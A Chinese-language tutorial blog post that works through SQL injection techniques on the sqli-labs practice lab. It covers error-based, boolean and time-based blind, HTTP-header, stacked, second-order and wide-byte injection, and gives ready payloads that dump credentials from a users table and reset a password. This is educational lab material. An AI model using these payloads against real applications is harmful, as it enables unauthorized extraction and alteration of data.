sql注入的几种常见方法

SQL注入原理-优快云博客

在经过基本的sql注入学习后,我们还需要其他几种注入方法才可能做出一道签到题(不是)

1,报错注入

这里以sql-labs的less-5为例

当我们正常传入一个数字时

可以看到没有回显用户名和密码,那我们试一下构造闭合

当输入单引号时,出现报错 对于这种没有回显的注入,union显然就不适用了,这里就要用到报错注入了

这里我用的updatexml()函数,这中报错注入就是往上面套union注入中用到的查询语句就行了

具体用法是?id=1' and updatexml(1,concat('^',(需要查询的内容),'^'),1)

原理如下

这里就先直接把payload给出来

?id=-1' and updatexml(1,concat("$",database(),"$"),1) --+
?id=-1' and updatexml(1,concat("$",(select group_concat(table_name) from information_schema.tables where table_schema=database()),"$"),1) --+
?id=-1' and updatexml(1,concat("$",(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),"$"),1)--+
?id=-1' and updatexml(1,concat("$",(select group_concat(id,"-",username,"-",password) from users),"$"),1) --+

这里省略了查字段的过程,但当我们爆字段时会发现根本显示不全

那么这里就要用到limit函数了

之前的博客中已经将了这个函数,不懂可以回去看看

我们group_concat函数去掉,直接查找uesrname或者password,并用limit函数一个一个显示出来

比如limit 0,1就是显示第一个,limit 1,1就是显示第二个 

对于id这种比较短的数据可以直接用group_concat链接起来输出 但不知道为什么第一个没输出来,需要也可以一个一个访问

这样就完成了一道简单的报错注入

总结

对于报错注入其实就是在基本的sql注入上套了个函数壳,主要就是要熟悉格式和payload

2,盲注

盲注有两种,一是基于布尔条件,另一种是基于时间

我觉得两者其实也是一样的,只是判断方式不同.

盲注其实有点爆破的意思,通过条件判断出猜想是否正确,并一直爆破到最后一位字段

首先要判断数据库类型(之前做题都没碰到过,基本都是mysql)

//判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) --+
//判断是否是 access数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) --+
//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) --+

这样传入后,因为and这个逻辑运算符,所以要前面后面都正确,整个才会被判断为正确.

前面id=1肯定是正确的,主要就是后面,如果回显正常,那么这个就是正确的

然后就是正常的查库名了

因为是盲注,我们看不到任何东西,所以整个过程都是处于茫然中进行的

那我们要做的肯定就是先判断数据库的长度了

这里的主角就是and逻辑运算符

?id=-1' and length(database())=8 --+

比如传入如上的payload,如果数据库名字为8,那就会正常回显

由于已经知道sql-labs中的数据库是security(8个字符)所以我们来尝试一下

改成7,整个页面会异常 

后面的布尔盲注都是基于这个原理

知道长度后我们就要爆库名了

        首先,我们都知道计算机只能识别01,所以任何可见字符其实都是有编号的,php也是电脑上的编程语言,理所应当它也遵循这个编码---ASCII 

我们知道sql-labs中的库名是security,所以它的第一位是s

那我们传入playload试一下

?id=1' and ascii(substr(database(),1,1))=ord('s') --+

 这里的substr是将库名中从第一个字符开始截取一个字符,也就是取出第一个字

这边可以看到回显正常

然后就是爆下一个字母,由此可见布尔盲注相当麻烦,但原理也就那样,最好用脚本跑.

然后是时间盲注

 与布尔盲注类似,只是判断条件变成了时间

这里就要用到if判断了

?id=1' and if(length(database())=8,sleep(5),0) --+

这里的if条件判断表示如果第一个表达式成立,则返回表达式二(sleep),如果不成立则返回表达式三

看右上角,这种本地服务器还需要加载,明显就是表达式成立,返回了表达式二,所以通过这样的判断,我们就可以在不能通过页面判断正确与否的情况下进行盲注.

同理,爆库名用

?id=1' and if(ascii(substr(database(),1,1))=ord('s'),sleep(5),0) --+

 右上角表明这个库的第一位是s

总结

可见,时间盲注与布尔盲注同样麻烦,难的不是原理,而是过程,所以最好用脚本跑

3,HTTP头注入

http头注入通常存在于cookie,user-agent,refer,x-forworded-for

之前没细究过这个注入方法,现在看来,相当奇怪.

为什么http头中会存在注入?难不成http头也会存入sql数据库?

 而且http头注入一般都是报错注入,具体原理都是一样的

这里试一下user-agent头注入

先判断注入点,在ua后加单引号引发sql报错

在ua头里传入

' and updatexml(1,concat("$",(database()),"$"),1) and '

这里不太理解为什么又在后面拼接一个and '  而不是省略符

 (可能是因为这个,具体我也不清楚)

还有这里ua头注入的前提是能登录成功,即后面的判断是正确的,不然回显都没有

而且如果不删除ua头中信息就会将回显消息覆盖掉,导致回显不出来

 后续就是正常的报错注入了

 而且我还发现用group_concat不能用limit限制输出,必须用concat

其他头的注入原理相同,比如referer

总结

UA头注入用于会对UA头检查的网页,而且通常是利用UA头错误构造报错注入,还需要注意末尾的闭合,因为ua头检查可能在前面

 4,堆叠注入

为什么会存在堆叠注入?因为mysql语句总的来说还是在php语言下运行的,所以每条mysql语句还是以分号结尾。而一条sql语句结束后,下面的sql语句依然会进行。

其实堆叠注入主要是能实现对数据的增删查改,比如我们能将dumb的密码改掉

?id=1';update users set password='What-can-i-say' where id=1; --+

但是执行这种操作首先要有权限,传入的代码能执行。其次还要知道数据库的结构(比如库名,表名,字段名)

所以执行这种操作之前还是需要其他操作来获取信息,比如联合注入获得信息 总结

堆叠注入一般不常用,而且存在堆叠注入一般也存在其他的报错注入点。

5,二阶注入

二阶注入就是二次注入,具体例子用sql-labs的less-24

这边先注册一个账号,然后我们登录mysql看后台中是什么情况 可以看到我们注册了kobe '#密码为123456

这里看到'#就知道我们要干嘛了,我们试一下改变密码

 然而会直接跳出修改错误,这是为什么

这就不得不看修改密码的php文件了

 因为我们构造的用户名是kobe'#拼接到sql中就是

username='kobe'#……这样数据库会寻找用户名为kobe的字段,然而数据库中是没有的

所以这样证明了这里存在二阶注入,因为它对用户名没有限制。

如果我们构造的用户名为admin'#,那我们重置账户时就会重置admin账号的密码,而不是admin'#

宽字节注入

当我们输入?id=1',结果输出了?id=1\'

这就说明我们构造闭合的单引号被转义了,失去了闭合的功能

而处理这种情况通常都是让反斜杠消失或者让反斜杠失去作用

而宽字节头就能处理这种情况,众所周知,一个英文字符只占一个字节,而汉字通常占两或三个字节,这也就是所谓的宽字节

如果后台的编码用到了宽字节编码,我们便可以利用宽字节注入,这里以gbk编码为例

我们传入?id=1%df',那它会被转义1%df\',然后反斜杠的字节为0x5c

于是上面的又变成1%df%5c',而0xdf和0x5c刚好由组成一个汉字‘運’,这样payload就变成了

?id=1運',这样单引号的闭合又起作用了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值